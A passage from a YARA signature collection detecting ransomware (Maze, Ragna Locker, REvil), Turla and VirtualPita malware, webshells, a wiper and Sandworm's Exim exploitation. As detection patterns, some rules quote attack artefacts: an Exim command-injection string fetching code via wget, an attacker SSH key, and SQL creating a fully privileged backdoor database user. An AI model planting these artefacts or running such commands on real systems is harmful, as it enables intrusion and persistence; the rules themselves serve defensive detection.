		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_net_xorstrings.yar#L2-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6d023a80bd8f5709721c3ace8a7230b847ca4bd2a1aff502a25333ffc8bf75ca"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
	strings:
		$pattern = { 06 1E 58 07 8E 69 FE 17 }
		$a1 = "_CorDllMain" ascii
		$a2 = "_CorExeMain" ascii
		$a3 = "mscorlib" ascii fullword
		$a4 = ".cctor" ascii fullword
		$a5 = "System.Private.Corlib" ascii
		$a6 = "<Module>" ascii fullword
		$a7 = "<PrivateImplementationsDetails{" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25MB and $pattern and 2 of ( $a* )
}

rule SIGNATURE_BASE_Crime_Win32_Ransom_Maze_Dll_1 : FILE
{
	meta:
		description = "Detects Maze ransomware payload dll unpacked"
		author = "@VK_Intel"
		id = "873aea2b-2dd4-5682-b979-35e73fbc189f"
		date = "2020-04-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/VK_Intel/status/1251388507219726338"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_maze_ransomware.yar#L1-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5b76636c05141687fa5cc507ac67d6a5d1f6c89166fd302e94fe61b412451159"
		score = 75
		quality = 85
		tags = "FILE"
		tlp = "white"
	strings:
		$str1 = "Maze Ransomware" wide
		$str2 = "--logging" wide
		$str3 = "DECRYPT-FILES.txt" wide
		$tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }
	condition:
		( uint16( 0 ) == 0x5a4d and 3 of them ) or all of them
}

rule SIGNATURE_BASE_MAL_RANSOM_Ragna_Locker_Apr20_1 : FILE
{
	meta:
		description = "Detects Ragna Locker Ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "67164cb4-73b7-5c4e-88f9-42379b88c641"
		date = "2020-04-27"
		modified = "2023-12-05"
		reference = "https://otx.alienvault.com/indicator/file/c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_ragna_locker.yar#L3-L36"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "05a18818f22c836c3e1f1fa9682d787bbe86e6d3bb026a80a7d4c33ad95c2cd3"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
	strings:
		$x1 = "---RAGNAR SECRET---" ascii
		$xc1 = { 0D 0A 25 73 0D 0A 0D 0A 25 73 0D 0A 25 73 0D 0A
               25 73 0D 0A 0D 0A 25 73 0D 0A 00 00 2E 00 72 00
               61 00 67 00 6E 00 61 00 72 00 5F }
		$xc2 = { 00 2D 00 66 00 6F 00 72 00 63 00 65 00 00 00 00
               00 57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C
               00 44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00
               00 5C 00 6E 00 6F 00 74 00 65 00 70 00 61 00 64
               00 2E 00 65 00 78 00 65 00 }
		$s1 = "bootfont.bin" wide fullword
		$sc2 = { 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00
               00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 2E
               00 6F 00 6C 00 64 00 00 00 54 00 6F 00 72 00 20
               00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 }
		$op1 = { c7 85 58 ff ff ff 55 00 6b 00 c7 85 5c ff ff ff }
		$op2 = { 50 c7 85 7a ff ff ff 5c }
		$op3 = { 8b 75 08 8a 84 0d 20 ff ff ff ff 45 08 32 06 8b }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) or 4 of them
}


rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr20_1 : FILE
{
	meta:
		description = "Detects Turla Linux malware"
		author = "Florian Roth (Nextron Systems)"
		id = "f21e7793-a7dd-5195-805d-963827b35808"
		date = "2020-04-05"
		modified = "2023-12-05"
		reference = "https://twitter.com/Int2e_/status/1246115636331319309"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_turla.yar#L252-L272"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d463f5a151bb0c3440d719b4c7c0d1ca34de1e0bed7fb9167ecf396607abd3ff"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
	strings:
		$s1 = "/root/.hsperfdata" ascii fullword
		$s2 = "Desc|     Filename     |  size  |state|" ascii fullword
		$s3 = "IPv6 address %s not supported" ascii fullword
		$s4 = "File already exist on remote filesystem !" ascii fullword
		$s5 = "/tmp/.sync.pid" ascii fullword
		$s6 = "'gateway' supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 4 of them
}

rule SIGNATURE_BASE_APT_MAL_Tinyturla_Sep21_1 : FILE
{
	meta:
		description = "Detects Tiny Turla backdoor DLL"
		author = "Cisco Talos"
		id = "19659ac7-310a-52dd-a94c-022c7add752b"
		date = "2021-09-21"
		modified = "2023-12-05"
		reference = "https://blog.talosintelligence.com/2021/09/tinyturla.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_turla.yar#L275-L295"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ede598374bc4a8a870aa29498be4200b4a3d7b289dfcb680fb3f91108d212bca"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01"
	strings:
		$a = "Title: " fullword wide
		$b = "Hosts" fullword wide
		$c = "Security" fullword wide
		$d = "TimeLong" fullword wide
		$e = "TimeShort" fullword wide
		$f = "MachineGuid" fullword wide
		$g = "POST" fullword wide
		$h = "WinHttpSetOption" fullword ascii
		$i = "WinHttpQueryDataAvailable" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25KB and all of them
}



rule SIGNATURE_BASE_WEBSHELL_PHP_In_Htaccess : FILE
{
	meta:
		description = "Use Apache .htaccess to execute php code inside .htaccess"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0f5edff9-22b2-50c9-ae81-72698ea8e7db"
		date = "2021-01-07"
		modified = "2023-07-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_webshells.yar#L2760-L2782"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
		hash = "d79e9b13a32a9e9f3fa36aa1a4baf444bfd2599a"
		hash = "e1d1091fee6026829e037b2c70c228344955c263"
		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
		hash = "8c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2"
		logic_hash = "0652a4cb0cb6c61afece5c2e4cbf2f281714509f0d828047f2e3ccd411602115"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		importance = 70
	strings:
		$hta = "AddType application/x-httpd-php .htaccess" wide ascii
	condition:
		filesize < 100KB and $hta
}

rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Processbuilder : FILE
{
	meta:
		description = "Generic JSP webshell which uses processbuilder to execute user input"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2a7c5f44-24a1-5f43-996e-945c209b79b1"
		date = "2021-01-07"
		modified = "2023-04-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_webshells.yar#L5967-L6004"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "82198670ac2072cd5c2853d59dcd0f8dfcc28923"
		hash = "c05a520d96e4ebf9eb5c73fc0fa446ceb5caf343"
		hash = "347a55c174ee39ec912d9107e971d740f3208d53af43ea480f502d177106bbe8"
		hash = "d0ba29b646274e8cda5be1b940a38d248880d9e2bba11d994d4392c80d6b65bd"
		logic_hash = "fffc173cc23e158e319e48097243a64da232151e441c39e4b6ecc2565a82d862"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		importance = 70
	strings:
		$exec = "ProcessBuilder" fullword wide ascii
		$start = "start" fullword wide ascii
		$input1 = "getParameter" fullword ascii wide
		$input2 = "getHeaders" fullword ascii wide
		$input3 = "getInputStream" fullword ascii wide
		$input4 = "getReader" fullword ascii wide
		$req1 = "request" fullword ascii wide
		$req2 = "HttpServletRequest" fullword ascii wide
		$req3 = "getRequest" fullword ascii wide
	condition:
		filesize < 2000 and ( any of ( $input* ) and any of ( $req* ) ) and $exec and $start
}

rule SIGNATURE_BASE_WEBSHELL_Cookie_Post_Obfuscation : FILE
{
	meta:
		description = "Detects webshell using cookie POST"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cc5ded80-5e58-5b25-86d1-1c492042c740"
		date = "2023-01-28"
		modified = "2023-04-05"
		reference = "https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_webshells.yar#L6887-L6913"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "d08a00e56feb78b7f6599bad6b9b1d8626ce9a6ea1dfdc038358f4c74e6f65c9"
		hash = "2ce5c4d31682a5a59b665905a6f698c280451117e4aa3aee11523472688edb31"
		hash = "ff732d91a93dfd1612aed24bbb4d13edb0ab224d874f622943aaeeed4356c662"
		hash = "a3b64e9e065602d2863fcab641c75f5d8ec67c8632db0f78ca33ded0f4cea257"
		hash = "d41abce305b0dc9bd3a9feb0b6b35e8e39db9e75efb055d0b1205a9f0c89128e"
		hash = "333560bdc876fb0186fae97a58c27dd68123be875d510f46098fc5a61615f124"
		hash = "2efdb79cdde9396ff3dd567db8876607577718db692adf641f595626ef64d3a4"
		hash = "e1bd3be0cf525a0d61bf8c18e3ffaf3330c1c27c861aede486fd0f1b6930f69a"
		hash = "f8cdedd21b2cc29497896ec5b6e5863cd67cc1a798d929fd32cdbb654a69168a"
		logic_hash = "87229859ca3ee8f8b79360603c421528cda2ecefcc46d4080236d09b2dd510fb"
		score = 75
		quality = 85
		tags = "FILE"
		importance = 70
	strings:
		$s1 = "]($_COOKIE, $_POST) as $"
		$s2 = "function"
		$s3 = "Array"
	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 100KB and ( all of them ) )
}

rule SIGNATURE_BASE_Apt_CN_Tetris_JS_Advanced_1 : FILE
{
	meta:
		description = "Unique code from Jetriz, Swid & Jeniva of the Tetris framework"
		author = "@imp0rtp3 (modified by Florian Roth)"
		id = "a56f69f5-3562-52ab-9686-411019c51055"
		date = "2020-09-06"
		modified = "2023-12-05"
		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_tetris.yar#L2-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ec4ba53fea05c5331ed900b8c7da4cddd4ab64e87dfc165ac18d72d22f754d87"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "var a0_0x"
		$b1 = "a0_0x" ascii
		$cx1 = "))),function(){try{var _0x"
		$cx2 = "=window)||void 0x0===_0x"
		$cx3 = "){if(opener&&void 0x0!==opener["
		$cx4 = "String['fromCharCode'](0x"
		$e1 = "')](__p__)"
	condition:
		$a1 at 0 or ( filesize < 1000KB and ( #b1 > 300 or #e1 > 1 or 2 of ( $cx* ) ) )
}

rule SIGNATURE_BASE_M_APT_VIRTUALPITA_2 : FILE
{
	meta:
		description = "Finds opcodes to decode and parse the recieved data in the socket buffer in fe34b7c071d96dac498b72a4a07cb246.  Opcodes from 401a36 to 401adc"
		author = "Mandiant"
		id = "6a59cc54-e1a0-594f-9efb-af63d5c05259"
		date = "2022-10-01"
		modified = "2025-12-19"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc3886_virtualpita.yar#L15-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fe34b7c071d96dac498b72a4a07cb246"
		logic_hash = "56a3e1b13f0955a780f882e62003f721e409a1fdf61120dd295941605dbf21a4"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x = { 85 c0 74 ?? c7 05 ?? ?? ?? ?? fb ff ff ff c7 8? ?? ?? ?? ?? 00 00 00 00 e9 ?? ?? ?? ?? 4? 8b 05 ?? ?? ?? ?? 4? 83 c0 01 4? 89 05 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 e9 ?? ?? ?? ?? 8b 4? ?? 4? 98 4? 8d 9? ?? ?? ?? ?? 4? 8d ?? e0 4? 8b 0? 4? 89 0? 4? 8b 4? ?? 4? 89 4? ?? 8b 4? ?? 4? 98 4? 8d b? ?? ?? ?? ?? b? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 eb ?? 8b 4? ?? 8b 4? ?? 01 c1 8b 4? ?? 03 4? ?? 4? 98 0f b6 9? ?? ?? ?? ?? 8b 4? ?? 4? 98 0f b6 8? ?? ?? ?? ?? 31 c2 4? 63 c1 88 9? ?? ?? ?? ?? 83 4? ?? 01 }
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SIGNATURE_BASE_M_APT_VIRTUALPITA_3 : FILE
{
	meta:
		description = "Finds opcodes from 409dd8 to 409e46 in fe34b7c071d96dac498b72a4a07cb246 to set the HISTFILE environment variable to 'F' with a putenv() after loading each character individually."
		author = "Mandiant"
		id = "29ea2db0-4ab2-5e9c-8d42-7590ceabf99a"
		date = "2022-10-01"
		modified = "2025-12-19"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc3886_virtualpita.yar#L27-L37"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fe34b7c071d96dac498b72a4a07cb246"
		logic_hash = "6f44d516b3cbe54542ae0991aad49274fc4728570e9498b319fc98840ceb7d7d"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x = { 4? 8b 4? ?? c6 00 48 4? 8b 4? ?? 4? 83 c0 05 c6 00 49 4? 8b 4? ?? 4? 83 c0 01 c6 00 49 4? 8b 4? ?? 4? 83 c0 06 c6 00 4c 4? 8b 4? ?? 4? 83 c0 02 c6 00 53 4? 8b 4? ?? 4? 83 c0 07 c6 00 45 4? 8b 4? ?? 4? 83 c0 03 c6 00 54 4? 8b 4? ?? 4? 83 c0 08 c6 00 3d 4? 8b 4? ?? 4? 83 c0 04 c6 00 46 4? 8b 4? ?? 4? 83 c0 09 c6 00 00 4? 8b 7? ?? e8 }
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SIGNATURE_BASE_M_APT_VIRTUALPITA_4 : FILE
{
	meta:
		description = "Finds opcodes from 401f1c to 401f4f in fe34b7c071d96dac498b72a4a07cb246 to decode text with multiple XORs"
		author = "Mandiant"
		id = "58d4db75-fcd5-50c2-93ba-a8a4718ac0f6"
		date = "2022-10-01"
		modified = "2025-12-19"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc3886_virtualpita.yar#L39-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fe34b7c071d96dac498b72a4a07cb246"
		logic_hash = "aaf2ff682c619d2a254fe069d477654a161658db6315239f1b956141b6a72c01"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x = { 4? 8b 4? ?? 4? 83 c1 30 4? 8b 4? ?? 4? 8b 10 8b 4? ?? 4? 98 4? 8b 04 ?? ?? ?? ?? ?? 4? 31 c2 4? 8b 4? ?? 4? 83 c0 28 4? 8b 00 4? c1 e8 10 0f b6 c0 4? 98 4? 8b 04 }
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SIGNATURE_BASE_MAL_WIPER_Bibi_Oct23 : FILE
{
	meta:
		description = "Detects BiBi wiper samples for Windows and Linux"
		author = "Florian Roth"
		id = "e1ea8016-e074-5208-8c98-54922bbcc407"
		date = "2023-11-01"
		modified = "2023-12-05"
		reference = "https://x.com/ESETresearch/status/1719437301900595444?s=20"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_bibi_wiper_oct23.yar#L24-L47"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c22dc994005f91f81d0e8e5f8d400b12ecd28336866bc62b8527e104f6339372"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
		hash2 = "40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17"
	strings:
		$s1 = "send attempt while closed" ascii fullword
		$s2 = "[+] CPU cores: %d, Threads: %d" ascii fullword
		$s3 = "[+] Stats: %d | %d" ascii fullword
		$opw1 = { 33 c0 88 45 48 b8 01 00 00 00 86 45 48 45 8b f5 48 8d 3d de f5 ff ff 0f 57 c9 f3 0f 7f 4d b8 }
		$opw2 = { 2d ce b5 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 26 b4 00 00 44 8b 05 5f b6 00 00 e8 ca 0d 00 00 }
		$opl1 = { 4c 8d 44 24 08 48 89 f7 48 ff c2 48 83 c6 04 e8 c7 fb ff ff 41 89 c1 0f b6 42 ff 41 0f af c1 }
		$opl2 = { e8 6f fb ff ff 49 8d 78 f8 89 c0 48 01 c2 48 89 15 09 fb 24 00 e8 5a fb ff ff 49 8d 78 fc 6b f0 06 }
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and filesize < 4000KB and 2 of them
}

rule SIGNATURE_BASE_MAL_Sharpshooter_Excel4 : FILE
{
	meta:
		description = "Detects Excel documents weaponized with Sharpshooter"
		author = "John Lambert, Florian Roth"
		id = "a79e3afe-e8f9-5e56-a131-bb1b346df471"
		date = "2020-03-27"
		modified = "2023-12-05"
		reference = "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-xls/00b5dd7d-51ca-4938-b7b7-483fe0e5933b"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_Excel4Macro_Sharpshooter.yar#L1-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d"
		logic_hash = "4aec8bb7ec8ce7ebd8228416133ea7eec995864aeec78c11548387d832b5fa65"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$header_docf = { D0 CF 11 E0 }
		$s1 = "Excel 4.0 Macros"
		$f1 = "CreateThread" ascii fullword
		$f2 = "WriteProcessMemory" ascii fullword
		$f3 = "Kernel32" ascii fullword
		$concat = { 00 41 6f 00 08 1e ?? 00 41 6f 00 08 1e ?? 00 41 6f 00 08}
	condition:
		filesize < 1000KB and $header_docf at 0 and #concat > 10 and $s1 and 2 of ( $f* )
}

rule SIGNATURE_BASE_MAL_RANSOM_Revil_Oct20_1 : FILE
{
	meta:
		description = "Detects REvil ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "0c85a2cc-3487-577f-bd12-e3effd8fc811"
		date = "2020-10-13"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_revil.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "756e49362c01abbca3208967630f09ed957e5c51956e0e5210b0167590582a82"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4"
		hash2 = "f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5"
		hash3 = "f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d"
		hash4 = "fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501"
	strings:
		$op1 = { 0f 8c 74 ff ff ff 33 c0 5f 5e 5b 8b e5 5d c3 8b }
		$op2 = { 8d 85 68 ff ff ff 50 e8 2a fe ff ff 8d 85 68 ff }
		$op3 = { 89 4d f4 8b 4e 0c 33 4e 34 33 4e 5c 33 8e 84 }
		$op4 = { 8d 85 68 ff ff ff 50 e8 05 06 00 00 8d 85 68 ff }
		$op5 = { 8d 85 68 ff ff ff 56 57 ff 75 0c 50 e8 2f }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them or 4 of them
}

rule SIGNATURE_BASE_APT_Sandworm_Keywords_May20_1 : CVE_2019_10149 FILE
{
	meta:
		description = "Detects commands used by Sandworm group to exploit critical vulernability CVE-2019-10149 in Exim"
		author = "Florian Roth (Nextron Systems)"
		id = "e0d4e90e-5547-5487-8d0c-a141d88fff7c"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9f9a81ff0c576f05ac063eaca7a5882dbdb09c9a0778610cca2864636a00efce"
		score = 75
		quality = 85
		tags = "CVE-2019-10149, FILE"
	strings:
		$x1 = "MAIL FROM:<$(run("
		$x2 = "exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http"
	condition:
		filesize < 8000KB and 1 of them
}

rule SIGNATURE_BASE_APT_Sandworm_SSH_Key_May20_1 : FILE
{
	meta:
		description = "Detects SSH key used by Sandworm on exploited machines"
		author = "Florian Roth (Nextron Systems)"
		id = "ea2968b8-7ae4-56b8-9547-816c5e37c50a"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L17-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "23a43849dfaa80bad2ca4f46b53181b3a4855ee89673ae9b658c854069b9aaa9"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
	strings:
		$x1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV"
	condition:
		filesize < 1000KB and 1 of them
}

rule SIGNATURE_BASE_APT_Sandworm_SSHD_Config_Modification_May20_1 : FILE
{
	meta:
		description = "Detects ssh config entry inserted by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		id = "dd60eeb7-3d4b-5a6a-8054-50c617ee8c73"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L33-L49"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5775588b3a9d44e9eb2c8ef0f50351d7e3b06f1005f669775fae7187900d5999"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
	strings:
		$x1 = "AllowUsers mysql_db" ascii
		$a1 = "ListenAddress" ascii fullword
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_APT_Sandworm_Initfile_May20_1 : FILE
{
	meta:
		description = "Detects mysql init script used by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		id = "0bd613e3-6bd4-5cec-bc0d-2bdb83caf142"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L51-L66"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "989f37069820d9ecf67dc71e4761a7cde2c1adf8db40b5f8a47e9c610ddec2e6"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
	strings:
		$s1 = "GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';" ascii
		$s2 = "CREATE USER 'mysqldb'@'localhost' IDENTIFIED BY '" ascii fullword
	condition:
		filesize < 10KB and all of them
}

rule SIGNATURE_BASE_APT_Sandworm_User_May20_1 : FILE
{
	meta:
		description = "Detects user added by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		id = "ada549a4-abcc-5c0a-9601-75631e78c835"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
